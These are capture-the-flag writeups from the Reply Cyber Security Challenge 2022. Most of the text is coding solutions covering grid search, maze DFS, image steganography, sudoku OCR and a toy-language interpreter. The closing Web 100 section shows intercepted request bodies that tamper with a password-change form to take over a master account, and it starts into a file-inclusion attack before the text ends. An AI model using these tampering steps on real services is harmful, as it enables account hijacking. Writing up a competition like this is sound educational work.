On October 14th and 15th 2022 we participated in the Reply Cyber Security Challenge 2022. We solved many challenges and overall placed second (CTFtime). These are the writeups of the challenges we solved during the event, sorted by category and points value.
Coding (5/5)
Coding 100
Overview
We are given a grid and a list of words, we have to find all the words and join the remainings characters in order to get the flag.zip
password.
Words can be read in all 8 directions and the horizontal and vertical ones can make at most one 90 degrees turn.
Solution
We can do a simple dfs starting from every point in the grid and search for the words (and I wrote it in the ugliest possible way).
We take 7 parameters:
y
,x
: the coordinatesd
: the directionpref
: the word build so farposs
: the visited cells (I don’t know why I named it like this)not_changed
: if I already took a 90 degrees turndef search(y, x, d, pref, vis, poss, not_changed):
The base case happens when we found a word
if pref in words: words.remove(pref) for Y, X in poss: grid[Y][X] = '.'
Then we check if the cell is valid:
# If in the grid if y < 0 or y >= len(grid) or x < 0 or x >= len(grid[0]): return False # If not in a previous word if grid[y][x] == '.': return False # If already in the current path if vis[y][x]: return False # Obviously useless
And then we update the cell status and hardcode every possibility:
vis[y][x] = True poss.append((y, x)) if d == UP: if search(y - 1, x, UP, pref + grid[y][x], vis, poss, not_changed): return True if not_changed: if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True elif d == DOWN: if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, not_changed): return True if not_changed: if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True elif d == LEFT: if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, not_changed): return True if not_changed: if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True elif d == RIGHT: if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, not_changed): return True if not_changed: if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True elif d == UR: if search(y - 1, x + 1, UR, pref + grid[y][x], vis, poss, not_changed): return True elif d == UL: if search(y - 1, x - 1, UL, pref + grid[y][x], vis, poss, not_changed): return True elif d == DR: if search(y + 1, x + 1, DR, pref + grid[y][x], vis, poss, not_changed): return True elif d == DL: if search(y + 1, x - 1, DL, pref + grid[y][x], vis, poss, not_changed): return True else: assert False vis[y][x] = False poss.pop() return False
Finally for every cell we call the dfs in every direction:
for y in range(len(grid)): for x in range(len(grid[0])): search(y, x, UP, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, DOWN, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, RIGHT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, LEFT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, UR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, UL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, DL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True) search(y, x, DR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
( I’m Sorry )
And print the password:
res = "".join("".join(i for i in j) for j in grid)
print(res.replace(".", ""))
Password:
FZRQEACJLWFSEVERALYYNVRRFVCPUWTMISZNLERUTXIMVIJHNXEDETXWURRUEREDOPHPHMMDKWYOSMRELLAMSYHBUZGHGVVEFZRRNLBTJSAMFMOCPYEANGDBBTCWIETXBUQPZOJOAXAEDRSINZXBSQMDBEIZOIUAOAPRTRAVELEDOWLCLWJEIOLVHLHGOCWOZCDQYLDTCORWQECINQXIEHFIFWRKDLEKATSIMLKRNFZFBTJEKJYSJPENUZVENSKXLSAJZCAZWSBWCFLCCEJZLAFMSNTYAUGBLFRWFTDQGASDWVEWJYQZLAENMNXJEYIESIKSNOOKDLXTNHRHCASCBYVNTORIUFLAIPRHYOOSTPJPEWOGPGFKNEGULMRPRBQAISLBTAUSINPRKCKMMPFFKCRWJNATYPNTNKTCEYAOMKORNGSMEGXAEILDEDIBLESSEDBOGATSPESLKBTJENORMOUSZOMAMEXBBTEUNCMRUUPSRROSNSTFOQHNDNNYMRSXBHEVDABANDONEDREMEMBEREVAFUECPAGAATGMUPBMYSXLKTSPVRIDEBHAKODTRPYEHMOZPDHRMPTTEFUFLEHTDRSRBVOCJSINORPYUAVFDCNIRQYONHDYCXOKNOBIUOWEHIPIGGEZCHXZZBHTATEGFZUTIEMKTIZRNTBEEQMZSCUTXERKAVAQCBHAMIVSKXIQGWLCKUTNFUXUWAZQQKGOSDEGWECPOGKBVQUBKMOJNVDEHSINRUFMHXFJVSBHPXZRTDGUZJICWBQAZYMMKNLSDCHYZXS
Coding 200
Overview
This challenge has not much to say, all the rules are well explained in the README.md
file, so I’m not going to explain them in details.
Basically we have to find all the possible paths between two points in a maze of blackholes that evolves similarly to the game of life. In addition to that, we have portals that teleports you across the map.
Solution
Afraid of performances (and pushed by a strange gut feeling) I started writing the code in C++ (and never regretted it, even if it was probably not necessary).
The idea is to precompute all the states until a maximum depth and then do dfs to find all the paths (using a better search algorithm is useless, since we have to find all the best paths and not just one of the best).
To store everything we need a lot of vectors:
grid
: for the initial gridtime_grid
: for all the states of the gridportals
: for the portalsvalid_portals
: to check if a portal is valid at a particular step(start|end)_(x|y)
: for the starting and ending point
#define MAX 1000
int W = grid[0].size(), H = grid.size();
vector <vector <pair <int, int>>> portals(H, vector <pair <int, int>> (W, {-1, -1}));
vector <vector <vector <bool>>> valid_portals(MAX, vector <vector <bool>> (H, vector <bool> (W, false)));
vector <vector <string>> time_grid;
int start_x, start_y;
int end_x, end_y;
For the dfs:
on_portal
: if this portal has already been usedvisited
: if we already visited a specific cell
vector <vector <bool>> on_portal(H, vector <bool> (W, false));
vector <vector <bool>> visited(H, vector <bool> (W, false));
And to store the answer:
int best_time = MAX;
int best_portals = 0;
int n_sols = 0;
vector <string> paths;
First, we save all the initial information (portals and start / end) and we clear the map from everything that is not a blackhole (this is important in order to calculate the blackholes state at every timestep)
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (grid[y][x] == 'A') {
start_y = y, start_x = x;
}
if (grid[y][x] == 'B') {
end_y = y, end_x = x;
}
if ('a' <= grid[y][x] && grid[y][x] <= 'z') {
for (int yy = 0; yy < H; yy++) {
for (int xx = 0; xx < W; xx++) {
if ((y != yy || x != xx) && grid[yy][xx] == grid[y][x]) {
portals[y][x] = {yy, xx};
valid_portals[0][y][x] = true;
on_portal[y][x] = true;
goto found;
}
}
}
found:;
}
}
}
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (grid[y][x] != '&') {
grid[y][x] = '.';
}
}
}
We simulate the blackholes to get the time_grid
and the valid_portals
(we cannot do this separately, as I initially did, because if a blackhole ends up on a portal, not only it destroies it and its twin, but the twin-portal becomes a blackhole as well):
for (int i = 0; i < MAX - 1; i++) {
time_grid.push_back(grid);
bh_step(i + 1);
}
...
const int dy[8] = {-1, 0, 1, -1, 1, -1, 0, 1};
const int dx[8] = {-1, -1, -1, 0, 0, 1, 1, 1};
void bh_step(int t) {
vector <string> new_board(H, string(W, '.'));
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
int neigh = 0;
for (int i = 0; i < 8; i++) {
int ny = y + dy[i], nx = x + dx[i];
if (ny < 0 || ny >= H || nx < 0 || nx >= W) continue;
neigh += grid[ny][nx] == '&';
}
if (grid[y][x] == '&' && (neigh == 2 || neigh == 3)) {
new_board[y][x] = '&';
} else if (grid[y][x] != '&' && neigh >= 3) {
new_board[y][x] = '&';
}
}
}
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (!valid_portals[t - 1][y][x]) continue;
if (new_board[y][x] != '&') {
valid_portals[t][y][x] = true;
}
}
}
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (valid_portals[t][y][x] && !valid_portals[t][portals[y][x].first][portals[y][x].second]) {
valid_portals[t][y][x] = false;
new_board[y][x] = '&';
}
}
}
grid = move(new_board);
}
Finally we can do the search:
string res = "";
dfs(start_y, start_x, 0, 0, res);
...
const int Dy[4] = {-1, 0, 0, 1}, Dx[4] = {0, -1, 1, 0};
const string dir[4] = {"N", "W", "E", "S"};
void dfs(int y, int x, int t, int n_portals, string& path) {
if (t > best_time) return;
if (time_grid[t][y][x] == '&') return;
if (y == end_y && x == end_x) {
if (t < best_time) {
best_time = t;
best_portals = n_portals;
n_sols = 1;
paths.clear();
paths.push_back(path);
} else if (t == best_time && n_portals > best_portals) {
best_portals = n_portals;
n_sols = 1;
paths.clear();
paths.push_back(path);
} else if (t == best_time && n_portals == best_portals) {
n_sols++;
paths.push_back(path);
}
return;
}
if (visited[y][x]) return;
visited[y][x] = true;
for (int i = 0; i < 4; i++) {
int ny = y + Dy[i], nx = x + Dx[i];
if (ny < 0 || ny >= H || nx < 0 || nx >= W || time_grid[t][ny][nx] == '&' || visited[ny][nx]) continue;
path += dir[i];
if (valid_portals[t][ny][nx] && on_portal[ny][nx]) {
int py = portals[ny][nx].first, px = portals[ny][nx].second;
on_portal[ny][nx] = false;
on_portal[py][px] = false;
visited[ny][nx] = true;
dfs(py, px, t + 1, n_portals + 1, path);
visited[ny][nx] = false;
on_portal[ny][nx] = true;
on_portal[py][px] = true;
} else {
dfs(ny, nx, t + 1, n_portals, path);
}
path.pop_back();
}
visited[y][x] = false;
}
And print the answer:
sort(paths.begin(), paths.end());
cout << n_sols << "-";
for (string& s : paths) {
cout << s;
}
cout << "-" << best_portals << endl;
Password: 9-NENNNWSSSWWWWNENNWSSSWNWWWNENNWSSSWWNWWNENNWWSESWWWWNESWNNESWWWWWNESWNNEWSWWWWNEWNENWSSWWWWNEWWNEESWWWWWNEWWNEEWSWWWW-2
Coding 300
Overwiew
We are given a png
file of a meaningless image and a really really vague description of what to do. The only thing that we know is that the image has been shuffled and there is some data hidden with stepic
.
From the README.md
file:
np.random.seed(seed)
indices = np.random.permutation(len(pix))
...
stepic.encode(img, message)
...
imutils.rotate(img, angle=rot_angle)
First step
It is clear that we have to somehow get (or guess) the seed. I called stepic.decode
on the whole image and got #####23#####
. I was running it also on chunks the of image and got weird stuffs, so I took a really long time to realize that it was not some weird artifact, but it was indeed the seed.
At least now we can unshuffle the image:
img = Image.open(file)
data = stepic.decode(img)
seed = int(data.replace("#", ""))
np.random.seed(seed)
pix = img.getdata()
indices = np.random.permutation(len(pix))
real_pixs = [None for i in range(len(pix))]
for n, ind in enumerate(indices):
real_pixs[ind] = pix[n]
img.putdata(tuple(real_pixs))
And we get this image
Second step
That looks like a 16x16 sudoku, but shuffled. Thankfully the README.md
gives an hint for this:
Hint: once the image is reconstructed, each sub-block of the board will contain steganographed binary message, e.g., 010111. The two most significant digits represent how much it has been rotated, e.g., 01 = 90°, and the remaining four represent its original position
After a bit of trial, errors and guessing, we find out that the sub-blocks are the 4x4 boxes and that we have to split the image in blocks of 481x481 pixels, run stepic.decode
on them and rearrange them as explained.
sections = [[None for x in range(4)] for y in range(4)]
dim = 481
for y in range(0, img.height, dim):
for x in range(0, img.width, dim):
cut = img.crop((x, y, x + dim, y + dim))
sdata = int(stepic.decode(cut)[5:11], 2)
cut = cut.rotate(-90 * (sdata >> 4))
sections[(sdata & 0b11)][(sdata & 0b1111) >> 2] = cut
for y in range(0, img.height, dim):
for x in range(0, img.width, dim):
img.paste(sections[x // dim][y // dim], ((x, y, x + dim, y + dim)))
Getting this nice sudoku:
Third step
OCR time… or not…
tesseract
fails miserably to read the image, but the numbers looks really regular, so we could try a pixel by pixel difference to recognize them. Suddenly the board is not super regular as well: it has an annoing border on the left and upper side and the image size is not divisible by 16.
What turned out to work is to crop the numbers as much as possible, after that, the root mean square of the difference of two equal numbers will always be almost zero.
We also need some reference, but since we have just 16 numbers, we can extract them by hand.
My OCR
So, we convert the image to gray-scale, approximately extract the numbers and crop them:
# For some weird reason, using any(...) doesn't work
def iswhiterow(pixs, y, left, right):
for x in range(left, right):
if pixs[x, y] < 100: return False
return True
def iswhitecol(pixs, x, up, right):
for y in range(up, right):
if pixs[x, y] < 100: return False
return True
def super_crop(img):
up = 0
down = img.height - 1
left = 0
right = img.width - 1
pimg = img.load()
while iswhiterow(pimg, up, left, right):
up += 1
if up == down: return None # Empty cell
while iswhiterow(pimg, down, left, right):
down -= 1
down += 1
while iswhitecol(pimg, left, up, down):
left += 1
while iswhitecol(pimg, right, up, down):
right -= 1
right += 1
return img.crop((left, up, right, down))
img = img.convert("L")
cuts = []
ydim = img.height // 16
xdim = img.width // 16
for y in range(0, img.height - 20, ydim):
for x in range(0, img.width - 20, xdim):
cuts.append(super_crop(img.crop((x + 10, y + 10, x + xdim - 10, y + ydim - 10))))
We save every cropped number and select by hand the reference images.
Now we can recognize every number
def imgdiff(im1, im2):
diff = ImageChops.difference(im1, im2)
return ImageStat.Stat(diff).rms[0]
def get_val(img):
for ind, ref in enumerate(refs):
if abs(img.width - ref.width) > 10: continue # Otherwise every number > 10 will be recognized as a 1
val = imgdiff(img, ref)
if val < 1:
return ind + 1
Final step
Obviously now we have to solve the sudoku and luckly sagemath
has a sudoku
function, so this step turned out to be pretty easy.
from sage.all import Matrix, sudoku
solved = list(sudoku(Matrix(board)))
the zip password is the whole board
passwd = ""
for y in range(16):
for x in range(16):
passwd += str(solved[y][x])
This script luckly works for every level with no extra modifications, so we just automate the zip extraction, wait a couple of minutes for all the 50 levels to be solved and get the flag.
Coding 400
The challenge is a game with four different levels, of increasing difficulty, which we had to “automate” as they were too time consuming to solve by hand.
To do this we used python3
, requests
and some other libraries.
The first level is pretty easy, the task is to find the first 150 values of a sequence, which happen to be the y-values of a parabola. We parsed the initial values and then computed the remaining 150:
baseurl = "http://gamebox2.reply.it"
endp = "4ykubm9gMDXFSWHlBe5JqUBBIvhodV2V7Lu6WtOiYoUq3bOtiUgfVl2DKxXqR1968uutvqvFBQWs78M0Vh5i40gSnIypQRCTlJEy"
data = r.get(f"{baseurl}/{endp}/firstGame").text
data = data[data.find(" >[") + 3 :]
data = data[: data.find(", *")]
nums = [*map(int, data.split(", "))]
diff = nums[1] - nums[0]
diff12 = nums[2] - nums[1]
sum_inc = diff12 - diff
start = nums[0]
res = [start]
for i in range(150 + len(nums)):
res.append(res[-1] + diff)
diff += sum_inc
And then we sent the sequence to the server.
ans = {f"userSequence[{i}]": n for i, n in enumerate(res[:150])}
resp = r.post(f"{baseurl}/{endp}/{checkans}", data=ans).text
The second level is about guessing a number, given the lower and upper bounds and an oracle that answers “greater” or “lesser” to our guess. We just did a quick binary search like this:
data = r.post(f"{baseurl}/{endp}/secondGame", data={"passphrase": passwd}).text
left, right = [*map(int, re.search(r"Guess a number from ([\d]+) to ([\d]+) to access the next game within", data).groups())]
while left < right:
mid = (right + left) // 2
resp = r.post(f"{baseurl}/{endp}/checkSecondGame", data={"number": mid}).text
if "greater" in resp:
left = mid + 1
elif "lesser" in resp:
right = mid - 1
else:
break
and then we sent the answer to the server.
The third level is just like Wordle, but the answer is 50 characters long, the alphabet is 92 characters wide and you have 50 guesses to find the answer.
We just assumed that, even if the answer could theoretically be made of 50 different characters, this would never happen in practice as some chars would appear more than once.
With the first two guesses we would try every character of the entire allowed range (50 different chars in the first guess, the remaining 42 plus padding in the second) and save any “Green” or “Yellow” character in the alphabet
, a list of only the characters present in the guess of this game. By doing this we were able to reduce the single-game alphabet to a set always smaller than 47 characters.
In python3 it looks like this:
# lvl3_attempt is a function that takes the string and sends it to the server
g0 = "".join([chr(i) for i in range(33, 127)][:50])
g1 = "".join([chr(i) for i in range(33, 127)][50:]).ljust(50, "A")
alphabet = ""
h0 = lvl3_attempt(g0)
for i in range(len(g0)):
if 'Y' == h0[i] or 'G' == h0[i]:
alphabet += g0[i]
h1 = lvl3_attempt(g1)
for i in range(len(g1)):
if 'Y' == h1[i] or 'G' == h1[i]:
alphabet += g1[i]
Then for every character of the alphabet we just tried guessing a string which was the same char repeated for the entire guess, look for the indices of green cells and save that at such indexes there was the corresponding guessed character. After looping through the whole alphabet, we would get the final answer.
solve = {}
for c in alphabet:
hn = lvl3_attempt(c*50)
for i in range(len(hn)):
if 'G' == hn[i]:
solve[i] = c
ans = ""
for i in range(50):
ans += solve[i]
# send ans to the server
After submitting the answer we get to the last level, which is an 80x100 Minesweeper board, with an unknown amount of bombs. As an added bonus, the board only shows the latest changes, so there is no way to do this “by hand”.
The first thing we had to do was to write something that would parse the board, which is done by this awful-looking code:
# endp is the endpoint given by level3
def lvl4_attempt(row, col):
resp = r.post(f"{baseurl}/{endp}/{checkans}", data={"row":row, "column":col})
lastindex = 0
lastcellindex = 0
for i in range(80): #rows
start = resp.text.find("<tr>", lastindex)
lastindex = start
for j in range(100): #columns
cell = resp.text.find("<td >", lastcellindex)
lastcellindex = cell + 5
endcell = resp.text.find('</td>', cell)
value = resp.text[cell+5:endcell]
value = int(value)
if value != -2: #-2 represents a hidden cell, we don't want to overwrite the local value because it might be something we know
field[(i, j)] = value
We then looked for some way of solving the board, and found this library on GitHub: https://github.com/gamescomputersplay/minesweeper-solver.
For each iteration we would ask the solver to try and solve the board.
As a return value, it would give us a list of “known safe” cells and “known bomb” cells. We would then ask the server to uncover the safe cells, and save locally in the field
2D-array the cell values and where the bombs were located.
Unfortunately the game was not perfectly deterministic, so sometimes the solver resorted to guessing which cell was safe and subsequently failed due to bad luck.
The code looks something like this:
import minesweeper_solver as ms
import minesweeper_game as mg
settings = mg.GameSettings(shape=(80, 100), mines=1200) #1200 is just a guess
solver = ms.MinesweeperSolver(settings=settings)
while True:
a, b = solver.solve(field)
if b: # b is known bombs
for x, y in b:
field[(x, y)] = -1 # -1 represents a bomb
if a: # a is known-safe cells
while a:
row, col = a.pop()
if field[(row, col)] == -2: # avoid guessing an already known cell
lvl4_attempt(row, col)
After a few tries (we just let the script do its thing in the background) it finally solved the board and we got the flag.
Coding 500
Overview
For this challenge we have to write an interpreter for a random language. We are provided with some example and a initial README.md
file, unluckly the description is not complete at all, so we have to guess how the language works by looking at the examples.
From the README.md
file we know that we have to deal with:
- numbers
- strings
- varaibles
- print statements
- variable assignement
- operations (add sub mul div)
And we known that uppercase letters have some special meanings.
Level 1
This is something I found out after a while, but to explain everything better, I will have to “spoil” that we will have a stack.
//BEGIN EXAMPLE 1
BdblbrbobwboblblbebhbP
//END EXAMPLE 1: Prints 'helloworld'
Without much imagination, P
means print and B
defines the beginning of the string. Thus, the form of the string is: P{s[n-1]}b{s[n-2]}b...{s[1]}b{s[0]}
. So B
pushes a string to the stack and P
prints the top of the stack and maybe pop it (I’ve never figued out if it actually pops).
//BEGIN EXAMPLE2
N2a4m3d2s1m5a2P
BrbebwbsbnbabebhbtbsbibVvrarrrirarbrirlrer=
VvrarrrirarbrirlrerP
//END EXAMPLE2: Prints '42istheanswer'
N
must mean number, but how is it encoded?
After a while (and looking at other examples) we find out that the letters correspond to operations (a
->add, s
->subtract, m
->multiply, d
->divide) so the number form is: N{n1}{op1}{n2}{op2}{n3}...
, so the example would translate in 2 + 4 * 3 / 2 - 1 * 5 + 2 = 42
without respect to the operations priority. Similarly to the string, the number gets pushed in the stack.
V
Is the variable sign and is followed by the variable name. The name can be followed by =
, otherwise it gets pushed into the stack.
//BEGIN EXAMPLE3
Vvrarrrirarbrirlrer2rP BrbebwbsbnbabebhbtbsbibVvrarrrirarbrirlrer2r=
//END EXAMPLE 3: prints 'istheanswer'
From this we understand that the lines have to be split on spaces and read from right to left.
//BEGIN EXAMPLE4
VvrarrrP N4d2N0a2m2s1MULVvrarrr=
//END EXAMPLE4: prints '6'
The operations are pretty easy, they can be ADD
, SUB
, MUL
, DIV
and they use the two top elements on the stack:
n2 = stack.pop()
n1 = stack.pop()
res = n1 op n2
Example five is broken, because one variable name is wrong…
First interpreter
Now we have everything needed to write the interpreter for this level.
We will have global stack (a list) and variables (a dictionary). We define a class to interpret an instruction block (not a line, a single block):
variables = {}
stack = []
class Instr:
def __init__(self, code):
self.code = code
self.ind = 0
def eval(self):
output = ""
while self.ind < len(self.code):
if self.code[self.ind] == 'B':
stack.append(self.parse_str())
elif self.code[self.ind] == 'P':
output += str(stack.pop())
self.ind += 1
elif self.code[self.ind] == 'N':
stack.append(self.parse_int())
elif self.code[self.ind] == 'V':
self.parse_var()
else:
num2 = stack.pop()
num1 = stack.pop()
if self.code[self.ind] == 'A':
assert self.code[self.ind : self.ind + 3] == "ADD"
stack.append(num1 + num2)
elif self.code[self.ind] == 'S':
assert self.code[self.ind : self.ind + 3] == "SUB"
stack.append(num1 - num2)
elif self.code[self.ind] == 'M':
assert self.code[self.ind : self.ind + 3] == "MUL"
stack.append(num1 * num2)
elif self.code[self.ind] == 'D':
assert self.code[self.ind : self.ind + 3] == "DIV"
assert num2 != 0
stack.append(num1 // num2)
else:
print(self.code)
print(self.ind, self.code[self.ind])
assert False, "Unknown uppercase"
self.ind += 3
return output
def parse_str(self):
self.ind += 1
res = ""
while self.ind + 1 < len(self.code) and self.code[self.ind + 1] == 'b':
res += self.code[self.ind]
self.ind += 2
return res[::-1]
def get_num(self):
res = 0
while self.code[self.ind].isdigit():
res *= 10
res += int(self.code[self.ind])
self.ind += 1
return res
def parse_int(self):
self.ind += 1
res = self.get_num()
while self.ind < len(self.code) and self.code[self.ind] in "asmd":
if self.code[self.ind] == 'a':
self.ind += 1
res += self.get_num()
elif self.code[self.ind] == 's':
self.ind += 1
res -= self.get_num()
elif self.code[self.ind] == 'm':
self.ind += 1
res *= self.get_num()
elif self.code[self.ind] == 'd':
self.ind += 1
res //= self.get_num()
else:
assert False, "Unknown operation"
return res
def parse_var(self):
global variables
self.ind += 1
varname = ""
while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
varname += self.code[self.ind]
self.ind += 1
assert self.ind < len(self.code)
if self.code[self.ind] == '=':
variables[varname] = stack.pop()
self.ind += 1
else:
assert varname in variables
stack.append(variables[varname])
Not much to say on this code, it’s just the implementation of what I have explained in the first part.
We known that we can parse every line separately, so we iterate through them and execute them one by one to get the password of the first level.
def run_all(code):
final = ""
for line in code.splitlines():
instrs = line.split()[::-1]
final += parse_line(instrs)
return final
def parse_line(instrs):
instr_ind = 0
result = ""
while instr_ind < len(instrs):
result += Instr(instrs[instr_ind]).eval()
instr_ind += 1
return result
password: 3314p1848m5l348_6tz1817236bv31536908260dp033188sjuvq17633170412113334-425xprz34x0tg22xq
Obviously this is not the code I initially written, I solved the first level with a orrible script. After I’ve seen that the complexity of the levels were rising, I restarted and this is an extract of the final code.
Level 2
In level 2 we are introduced with conditional statements. Reversing the blocks of the line, they can be in two forms:
BOH {condition} | {if true} HOB
equivalent to:
if (condition) {
if true
}
or:
BOH {condition1} | {if true 1} OH {condition2} | {if true 2} {if false} HO HOB
equivalent to:
if (condition1) {
if true 1
} else if (condition2) {
if true 2
} else {
if false
}
So BOH
is closed by HOB
and OH
is closed by HO
, expecting nested ifs in the next levels, I haven’t distinguished between BOH
and OH
and treated everything in the form:
if (condition) {
if true
} else {
if false
}
The condition statements are terminated by two letters that identifies the comparison to do and they work similarly to the operations: they take the two top values on the stack and compare them.
The type of comparison are the classic ones (read them backward): QE
is ==
, TL
is <
and so on.
We also have boolean operator (AND
and OR
) between the conditional statements.
Second interpreter
We create a subclass of Instr
for the conditional instructions, that overwrite eval
and parse_var
(parese_var
is just for error checking, since we cannot have an assignement in a conditional statement):
class CondInstr(Instr):
def __init__(self, code):
super().__init__(code)
def eval(self):
while self.ind < len(self.code):
if self.code[self.ind] == 'B':
stack.append(self.parse_str())
elif self.code[self.ind] == 'P':
assert False, "Conditional print"
elif self.code[self.ind] == 'N':
stack.append(self.parse_int())
elif self.code[self.ind] == 'V':
self.parse_var()
else:
num2 = stack.pop()
num1 = stack.pop()
if self.code[self.ind] == 'A':
assert self.code[self.ind : self.ind + 3] == "ADD"
stack.append(num1 + num2)
elif self.code[self.ind] == 'S':
assert self.code[self.ind : self.ind + 3] == "SUB"
stack.append(num1 - num2)
elif self.code[self.ind] == 'M':
assert self.code[self.ind : self.ind + 3] == "MUL"
stack.append(num1 * num2)
elif self.code[self.ind] == 'D':
assert self.code[self.ind : self.ind + 3] == "DIV"
assert num2 != 0
stack.append(num1 // num2)
# conditions
else:
assert self.ind + 2 == len(self.code)
if self.code[self.ind:self.ind + 2] == "QE": # ==
return num1 == num2
elif self.code[self.ind:self.ind + 2] == "EL": # <=
return num1 <= num2
elif self.code[self.ind:self.ind + 2] == "TL": # <
return num1 < num2
elif self.code[self.ind:self.ind + 2] == "TG": # >
return num1 > num2
elif self.code[self.ind:self.ind + 2] == "EG": # >=
return num1 >= num2
elif self.code[self.ind:self.ind + 2] == "EN": # !=
return num1 != num2
else:
print(self.code)
print(self.ind, self.code[self.ind])
assert False, "Unknown condition"
self.ind += 3
def parse_var(self):
global variables
self.ind += 1
varname = ""
while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
varname += self.code[self.ind]
self.ind += 1
assert self.ind < len(self.code)
assert self.code[self.ind] != "=", "Conditional assignement"
assert varname in variables
stack.append(variables[varname])
We create a function to evaluate a condition considering the boolean operators:
def eval_cond(instrs):
cond = CondInstr(instrs[0]).eval()
ind = 1
while ind < len(instrs):
next_cond = CondInstr(instrs[ind + 1]).eval()
if instrs[ind] == "AND":
cond &= next_cond
elif instrs[ind] == "OR":
cond |= next_cond
else:
assert False, "Unknown bitwise"
ind += 2
return cond
And we modify the parse_line
function to consider the BOH
s
def parse_line(instrs):
instr_ind = 0
result = ""
while instr_ind < len(instrs):
if instrs[instr_ind] == "BOH":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1
instr_ind += 1
if_true = []
while instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB":
if_true.append(instrs[instr_ind])
instr_ind += 1
if_false = []
if instrs[instr_ind] == "OH":
instr_ind += 1
if_false.append("BOH") # OH is no different from BOH
while instrs[instr_ind] != "HO":
if_false.append(instrs[instr_ind])
instr_ind += 1
if_false.append("HOB")
instr_ind += 1
assert instrs[instr_ind] == "HOB"
instr_ind += 1
if eval_cond(IF):
result += parse_line(if_true)
else:
if len(if_false) > 2:
result += parse_line(if_false)
else:
result += Instr(instrs[instr_ind]).eval()
instr_ind += 1
return result
password: 1936anok33ga16wu143102843phlqkkkmwcsw31821_31443137ps9ko3318ut93744299vsb571124022vbboc
Level 3
As expected this level introduces nested ifs. We prepared for this, so this level turned out to be really easy.
Third interpreter
We just have to modify the parse_line
function, in order to consider the nested BOH
s
def parse_line(instrs):
...
if instrs[instr_ind] == "BOH":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1
instr_ind += 1
if_true = []
boh_cnt = 0 # If we encounter a BOH, we must encounter a HOB before considering to end the loop
while (instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB") or boh_cnt > 0:
if instrs[instr_ind] == "BOH":
boh_cnt += 1
elif instrs[instr_ind] == "HOB":
boh_cnt -= 1
if_true.append(instrs[instr_ind])
instr_ind += 1
if_false = []
if instrs[instr_ind] == "OH":
instr_ind += 1
if_false.append("BOH")
boh_cnt = 0 # Same thing here
while instrs[instr_ind] != "HO" or boh_cnt > 0:
if instrs[instr_ind] == "BOH":
boh_cnt += 1
elif instrs[instr_ind] == "HOB":
boh_cnt -= 1
if_false.append(instrs[instr_ind])
instr_ind += 1
if_false.append("HOB")
instr_ind += 1
assert instrs[instr_ind] == "HOB"
instr_ind += 1
if eval_cond(IF):
result += parse_line(if_true)
else:
if len(if_false) > 2:
result += parse_line(if_false)
...
Level 4
The finish line is near, we see flag.zip
!
This level introduces loops, the syntax is:
LOOP {condition} | {instructions} POOL
that translates to:
while (condition) {
instructions
}
This is almost identical to ifs, so we don’t have much work to do.
Final interpreter
We get the condition and the instruction in the same way we got them with the BOH
instruction, but instead of an if-else, we will have a while:
def parse_line(instrs):
...
elif instrs[instr_ind] == "LOOP":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1
instr_ind += 1
loop_instr = []
loop_cnt = 0
while instrs[instr_ind] != "POOL" or loop_cnt > 0:
if instrs[instr_ind] == "LOOP":
loop_cnt += 1
elif instrs[instr_ind] == "POOL":
loop_cnt -= 1
loop_instr.append(instrs[instr_ind])
instr_ind += 1
while eval_cond(IF): # This is the only significant difference
result += parse_line(loop_instr)
instr_ind += 1
...
And we finally get the flag.zip
password and the 500 ( + 4 ) points.
password: t5j494040404049t_vj492349z1212374623181838516h7j540y2m234489715y4216ka24-163177ce5n_mh1516
Web (4/5)
Web 100
The goal of this challenge is to be able to gain access to the master account. we can do this through the form to change password. After that we can access the flag exploiting a file inclusion vulnerability in the master page.
-
First of all click on the door to access the challenge.
- From the register page create a fake account for example:
Email: fake@mail.com Password: fakepassword
Click on “I’m not a robot” and login with your creds.
- Click on the spinning dice.
In the source page of “Main Menu” you can found and interesting variable used in the
executeCommand
function.var masterName = "master@4be3b0e9-a58d-4b53-8eb3-dcf3414877f1.com";
We now have the master email.
- Change master password:
From “Profile” page we can change our password by entering our credentials, but we can intercept the request with BurpSuite and change the
email
parameter with master’s email:email=fake@mail.com&old=fakepassword&new=newpassword
Insert a generic password in the
new
parameter:email=master@4be3b0e9-a58d-4b53-8eb3-dcf3414877f1.com&old=fakepassword&new=newmasterpassword
We forward the modified request and we have changed the master password!
- Now login with master’s creds and access to master page.
From there we can select three files:
campaign.txt
player1.txt
player2.txt
We can analyze the request with BurpSuite clicking
Load
button and notice this body parameter:note=campaign.txt
